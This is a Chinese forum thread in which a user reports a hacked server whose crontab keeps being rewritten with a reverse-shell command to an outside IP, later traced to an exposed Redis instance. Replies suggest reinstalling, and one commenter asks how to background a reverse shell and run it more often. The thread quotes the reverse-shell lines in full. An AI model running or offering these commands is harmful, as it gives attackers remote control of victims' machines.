服务器被入侵了，有懂的老铁帮忙看下，万分感谢

[bigbigeggs]

crontab 的定时任务全部被清空，换成了 如下

"\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n"

删除之后，过几秒之后，又出现在了定时任务中了。

百度了下看起来像是 反弹 shell，可以看到你在服务器的任何行为。

现在不知道怎么解决，不知道哪个脚本在后台执行，一直写定时任务进去。

求有懂得老铁帮忙看下

[bigbigeggs]

@WordTian @yuelang85 确定了，是通过 redis set key，然后 conf 修改了 dump 的文件目录，大意了，唉

[InkAndBanner]

redis 的问题 很常见 我的学生机曾经也被安排过

[bigbigeggs]

@iloveayu 我也查到他的 qq，姓名了，准备 qq 联系一下。还没有手机号，不知道咋搞

[CodeCodeStudy]

@bigbigeggs #38 反弹 shell，受害者机器上 bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 这命令是在前台运行的，怎么让它在后台运行呢？我在后面加上 & 后，在攻击者机器上就看不到输入输出了。

[onice]

建议备份业务和数据，重装系统。Linux 系统可以安后门的地方太多了，比如替换某个系统文件，比如常见的 ls 命令。那么多命令，鬼才知道是替换的哪一个。
也不是说不可以排查，但排查的成本大于重装的成本。

[bigbigeggs]

@CodeCodeStudy linux 上定时任务，crontab 每分每秒都执行

[CodeCodeStudy]

@bigbigeggs #46 Linux 上的 crontab 只能精确到分钟，怎么让它每分每秒都执行？